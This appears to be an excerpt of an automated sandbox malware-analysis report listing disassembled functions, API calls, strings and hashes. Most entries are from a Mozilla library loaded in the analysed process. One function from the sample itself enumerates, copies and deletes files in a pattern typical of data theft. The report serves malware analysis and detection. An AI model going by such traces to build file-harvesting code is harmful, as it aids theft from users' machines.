getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7F54BE
__Init_thread_footer.LIBCMT ref: 6C7F54DB

Part of subcall function 6C81AB3F: EnterCriticalSection.KERNEL32(6C86E370,?,?,6C7E3527,6C86F6CC,?,?,?,?,?,?,?,?,6C7E3284), ref: 6C81AB49
Part of subcall function 6C81AB3F: LeaveCriticalSection.KERNEL32(6C86E370,?,6C7E3527,6C86F6CC,?,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C81AB7C

Part of subcall function 6C81CBE8: GetCurrentProcess.KERNEL32(?,6C7E31A7), ref: 6C81CBF1
Part of subcall function 6C81CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7E31A7), ref: 6C81CBFA

GetCurrentThreadId.KERNEL32 ref: 6C7F54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C7F5516
GetCurrentThreadId.KERNEL32 ref: 6C7F556A
AcquireSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C7F5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C7F5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C7F5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C7F55E6
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C7F5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7F5616

Part of subcall function 6C81AB89: EnterCriticalSection.KERNEL32(6C86E370,?,?,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284), ref: 6C81AB94
Part of subcall function 6C81AB89: LeaveCriticalSection.KERNEL32(6C86E370,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C81ABD1

GetCurrentThreadId.KERNEL32 ref: 6C7F563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7F5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C7F567C
free.MOZGLUE(?), ref: 6C7F56AE

Part of subcall function 6C805E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C805EDB
Part of subcall function 6C805E90: memset.VCRUNTIME140(6C847765,000000E5,55CCCCCC), ref: 6C805F27
Part of subcall function 6C805E90: LeaveCriticalSection.KERNEL32(?), ref: 6C805FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C7F56E8
GetCurrentThreadId.KERNEL32 ref: 6C7F5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C7F570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C7F5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C7F574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C7F576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C7F5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C7F57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C7F57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C7F5C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C7F5D24
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C7F5D1C
MOZ_PROFILER_STARTUP, xrefs: 6C7F55E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7F54B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C7F56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C7F5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C7F5717
GeckoMain, xrefs: 6C7F5554, 6C7F55D5
[I %d/%d] profiler_init, xrefs: 6C7F564E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C7F5749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C7F57AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7F5791
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C7F5D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C7F5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C7F584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C7F5D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7F57C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7F548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C7F5BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7F5766
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7F54A3
MOZ_BASE_PROFILER_HELP, xrefs: 6C7F5511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7F5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C7F5AC9

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6338a5372e5f1b1e74f1af2b68af8b308b4f53199a96c4827caa7c9d8ad239b4
Instruction ID: 0971dc63bba88e14e6053bbb32e35c37d59ac7226bbccefee97bced14d5279e5
Opcode Fuzzy Hash: 6338a5372e5f1b1e74f1af2b68af8b308b4f53199a96c4827caa7c9d8ad239b4
Instruction Fuzzy Hash: A22218709043009BDB209F76D69876B7BB5AF4634CF04893AF86697B41E734D44ACBA3

Function 6C7F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C7F6D26

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C7F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C7F6D73
free.MOZGLUE(00000000), ref: 6C7F6D80
CertGetNameStringW.CRYPT32 ref: 6C7F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C7F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C7F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C7F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C7F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C7F6E34
CreateFileW.KERNEL32 ref: 6C7F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C7F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C7F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7F7103
free.MOZGLUE(00000000), ref: 6C7F7153
CloseHandle.KERNEL32(?), ref: 6C7F7176
__Init_thread_footer.LIBCMT ref: 6C7F7209
__Init_thread_footer.LIBCMT ref: 6C7F723A
__Init_thread_footer.LIBCMT ref: 6C7F726B
__Init_thread_footer.LIBCMT ref: 6C7F729C
__Init_thread_footer.LIBCMT ref: 6C7F72DC
__Init_thread_footer.LIBCMT ref: 6C7F730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7F73C2
VerSetConditionMask.NTDLL ref: 6C7F73F3
VerSetConditionMask.NTDLL ref: 6C7F73FF
VerSetConditionMask.NTDLL ref: 6C7F7406
VerSetConditionMask.NTDLL ref: 6C7F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7F741A
moz_xmalloc.MOZGLUE(?), ref: 6C7F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C7F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7F7598
free.MOZGLUE(00000000), ref: 6C7F75AC

Part of subcall function 6C81AB89: EnterCriticalSection.KERNEL32(6C86E370,?,?,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284), ref: 6C81AB94
Part of subcall function 6C81AB89: LeaveCriticalSection.KERNEL32(6C86E370,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C81ABD1

Strings

wintrust.dll, xrefs: 6C7F72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C7F72C8
(, xrefs: 6C7F768A
SHA256, xrefs: 6C7F6EC0

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d1da564f514d1b5743bf3a8cc28fb3a68fde763be74cacba982ebedd47dcdf1a
Instruction ID: 832a4ea637976b848f870606da506ad2fee61c3513d8bb8695998643465d7c6c
Opcode Fuzzy Hash: d1da564f514d1b5743bf3a8cc28fb3a68fde763be74cacba982ebedd47dcdf1a
Instruction Fuzzy Hash: 1852C2B1A002149BEB31DF25CE84BAA77B8FF85718F1045B9E91897740DB70AB85CF91

Function 6C820DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C820F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C820F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C820FB7
EnterCriticalSection.KERNEL32(?), ref: 6C820FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C821031
LeaveCriticalSection.KERNEL32(?), ref: 6C8210D0
EnterCriticalSection.KERNEL32(?), ref: 6C82117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C821C39
EnterCriticalSection.KERNEL32(6C86E744), ref: 6C823391
LeaveCriticalSection.KERNEL32(6C86E744), ref: 6C8233CD
LeaveCriticalSection.KERNEL32(?), ref: 6C823431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C823437

Strings

<jemalloc>, xrefs: 6C823941, 6C8239F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C823A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C8237BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C8237A8
MALLOC_OPTIONS, xrefs: 6C8235FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C8237D2
MOZ_CRASH(), xrefs: 6C823950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C823793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C823559, 6C82382D, 6C823848
Compile-time page size does not divide the runtime one., xrefs: 6C823946

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 9537a2905a765c0c52a6bf7844b5dfa5da6639e81d5601a2f6fe6d095a42b165
Instruction ID: b9b3e8e431513b196e93a4ece1731c2dfa7955e70b521576aa9f8497ab8cefca
Opcode Fuzzy Hash: 9537a2905a765c0c52a6bf7844b5dfa5da6639e81d5601a2f6fe6d095a42b165
Instruction Fuzzy Hash: CD539D71A056018FC324CF29C658615FBE1BF85328F29CA6DE8699B791D739EC81CBC1

Function 6C8434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C843EE2

Part of subcall function 6C846180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C8461DD
Part of subcall function 6C846180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C84622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C844157

Part of subcall function 6C846180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C846250
Part of subcall function 6C846180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C846292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C84441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C844448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C84484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C844863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C844878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C844896
free.MOZGLUE ref: 6C84489F

Strings

, xrefs: 6C844CD2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3819cc7776e6c3776678ab4a085e6f6e3a41e5a7bcd75d62db9b46ab5e1a9597
Instruction ID: 6312758fdf4c29f37b10453a622716f5561a6d88330cdc0b0362c57e3ec1dac8
Opcode Fuzzy Hash: 3819cc7776e6c3776678ab4a085e6f6e3a41e5a7bcd75d62db9b46ab5e1a9597
Instruction Fuzzy Hash: BDF25C709087848FC771CF28C18469AFBF1BFC9318F518A6ED98997711DB719896CB82

Function 6C7F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C7F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C7F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C7F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C7F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C7F671C
GetCurrentProcess.KERNEL32 ref: 6C7F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7F672F
GetCurrentProcess.KERNEL32 ref: 6C7F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C7F6A80
GetSystemInfo.KERNEL32(?), ref: 6C7F6ABE
__Init_thread_footer.LIBCMT ref: 6C7F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7F6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C7F6798
user32.dll, xrefs: 6C7F6526
nvd3d9wrap.dll, xrefs: 6C7F6500
detoured.dll, xrefs: 6C7F64DA
nvdxgiwrap.dll, xrefs: 6C7F6513
_etoured.dll, xrefs: 6C7F64ED

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e7967cbe26a4a5a0035d8dbcbba73c378b557fc9da3d8c3122aa583261e71d43
Instruction ID: 26bd5add401b41e8ab51f889b52cb43754b5e4a2d051b52f1f6b298e15a1cc68
Opcode Fuzzy Hash: e7967cbe26a4a5a0035d8dbcbba73c378b557fc9da3d8c3122aa583261e71d43
Instruction Fuzzy Hash: 93F1E4709052199FCB20CF25CE88BAAB7B5EF45318F1441E9D829A3741D731AF86CF91

Function 6C84C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C84C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C84C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C84C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C84CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C84DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C84DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C84DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C84E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C84E472

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 89518dd27dfed6dc710f8ea7c338fe1f111b1d09f82efe1b8e49cdd19d59a8c9
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9933BD71E0021E8FCB24CFA8C9C06ADBBF2FF49304F19866AD955AB755D730A945CB90

Function 00415A70 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 191filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,00000000), ref: 00415A82
HeapAlloc.KERNEL32(00000000), ref: 00415A89
wsprintfA.USER32 ref: 00415AA2
FindFirstFileA.KERNEL32(?,?), ref: 00415AB9
StrCmpCA.SHLWAPI(?,004201DC), ref: 00415ADC
StrCmpCA.SHLWAPI(?,004201D8), ref: 00415AF6
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00415BBC

Part of subcall function 00412C70: memset.MSVCRT ref: 00412C89
Part of subcall function 00412C70: memset.MSVCRT ref: 00412C9C
Part of subcall function 00412C70: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,00000000,?), ref: 00412CCC
Part of subcall function 00412C70: lstrcatA.KERNEL32(?,024BFCB8,?,?,?,?,?,?,00000000,?), ref: 00412CE8
Part of subcall function 00412C70: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,00000000,?), ref: 00412CFC
Part of subcall function 00412C70: lstrcatA.KERNEL32(?,024C0240,?,?,?,?,?,?,00000000,?), ref: 00412D10
Part of subcall function 00412C70: StrStrA.SHLWAPI(00000000,024BFC88), ref: 00412DA5

DeleteFileA.KERNEL32(00000000), ref: 00415BEE
wsprintfA.USER32 ref: 00415B18

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindNextFileA.KERNEL32(00000000,?), ref: 00415C0C
FindClose.KERNEL32(00000000), ref: 00415C1B
lstrcatA.KERNEL32(?,024BDE28,?,00000104), ref: 00415C40
lstrcatA.KERNEL32(?,024C0390), ref: 00415C53
lstrlenA.KERNEL32(00416EF6), ref: 00415C5D
lstrlenA.KERNEL32(00416EF6), ref: 00415C6B

Strings

P2#v, xrefs: 00415C0C
%s\%s, xrefs: 00415B12
1#v, xrefs: 00415AB9
%s\*, xrefs: 00415A9C

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
